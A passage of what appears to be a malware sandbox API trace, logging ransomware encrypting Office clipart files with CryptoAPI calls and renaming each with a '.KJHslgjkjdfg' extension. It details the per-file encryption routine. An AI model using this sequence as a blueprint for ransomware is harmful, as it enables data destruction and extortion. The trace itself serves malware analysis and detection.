CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.596] SetEndOfFile (hFile=0x130) returned 1 [0203.599] GetProcessHeap () returned 0x2ef0000 [0203.599] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.599] GetProcessHeap () returned 0x2ef0000 [0203.599] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.599] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.kjhslgjkjdfg")) returned 1 [0203.600] CloseHandle (hObject=0x130) returned 1 [0203.600] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195772.WMF", cAlternateFileName="")) returned 1 [0203.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.601] GetProcessHeap () returned 0x2ef0000 [0203.601] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.601] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.602] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.602] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.602] GetProcessHeap () returned 0x2ef0000 [0203.602] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.602] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.602] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.602] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.605] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.605] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.605] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.605] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.605] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.605] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.605] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe60, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe60, lpOverlapped=0x0) returned 1 [0203.605] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe60, dwBufLen=0xe60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe60) returned 1 [0203.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.606] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe60, lpOverlapped=0x0) returned 1 [0203.606] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.606] SetEndOfFile (hFile=0x130) returned 1 [0203.609] GetProcessHeap () returned 0x2ef0000 [0203.609] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.609] GetProcessHeap () returned 0x2ef0000 [0203.609] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.kjhslgjkjdfg")) returned 1 [0203.610] CloseHandle (hObject=0x130) returned 1 [0203.611] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195788.WMF", cAlternateFileName="")) returned 1 [0203.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.611] GetProcessHeap () returned 0x2ef0000 [0203.612] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.612] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.612] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.615] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.615] GetProcessHeap () returned 0x2ef0000 [0203.615] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.615] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.615] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.615] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.615] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.615] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.615] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.615] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.615] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.616] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbbc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbbc, lpOverlapped=0x0) returned 1 [0203.616] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbc0, dwBufLen=0xbc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbc0) returned 1 [0203.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.616] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbc0, lpOverlapped=0x0) returned 1 [0203.616] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.616] SetEndOfFile (hFile=0x130) returned 1 [0203.618] GetProcessHeap () returned 0x2ef0000 [0203.618] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.618] GetProcessHeap () returned 0x2ef0000 [0203.618] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.kjhslgjkjdfg")) returned 1 [0203.620] CloseHandle (hObject=0x130) returned 1 [0203.621] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196060.WMF", cAlternateFileName="")) returned 1 [0203.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.622] GetProcessHeap () returned 0x2ef0000 [0203.622] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.622] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.622] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0203.624] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.624] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.624] GetProcessHeap () returned 0x2ef0000 [0203.624] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.624] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.624] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.624] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.624] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.624] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.625] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.625] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.625] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.625] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.625] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x128e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x128e, lpOverlapped=0x0) returned 1 [0203.626] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1290, dwBufLen=0x1290 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1290) returned 1 [0203.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.626] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1290, lpOverlapped=0x0) returned 1 [0203.626] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.626] SetEndOfFile (hFile=0x130) returned 1 [0203.629] GetProcessHeap () returned 0x2ef0000 [0203.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.629] GetProcessHeap () returned 0x2ef0000 [0203.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.629] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.kjhslgjkjdfg")) returned 1 [0203.630] CloseHandle (hObject=0x130) returned 1 [0203.631] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196110.WMF", cAlternateFileName="")) returned 1 [0203.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.632] GetProcessHeap () returned 0x2ef0000 [0203.632] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.632] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.633] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0203.635] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.635] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.635] GetProcessHeap () returned 0x2ef0000 [0203.635] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.635] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.635] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.635] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.636] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.636] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.636] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.636] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.636] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.636] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x14ce, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x14ce, lpOverlapped=0x0) returned 1 [0203.637] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14d0) returned 1 [0203.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.637] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x14d0, lpOverlapped=0x0) returned 1 [0203.638] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.638] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.638] SetEndOfFile (hFile=0x130) returned 1 [0203.639] GetProcessHeap () returned 0x2ef0000 [0203.639] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.639] GetProcessHeap () returned 0x2ef0000 [0203.639] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.kjhslgjkjdfg")) returned 1 [0203.640] CloseHandle (hObject=0x130) returned 1 [0203.641] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, 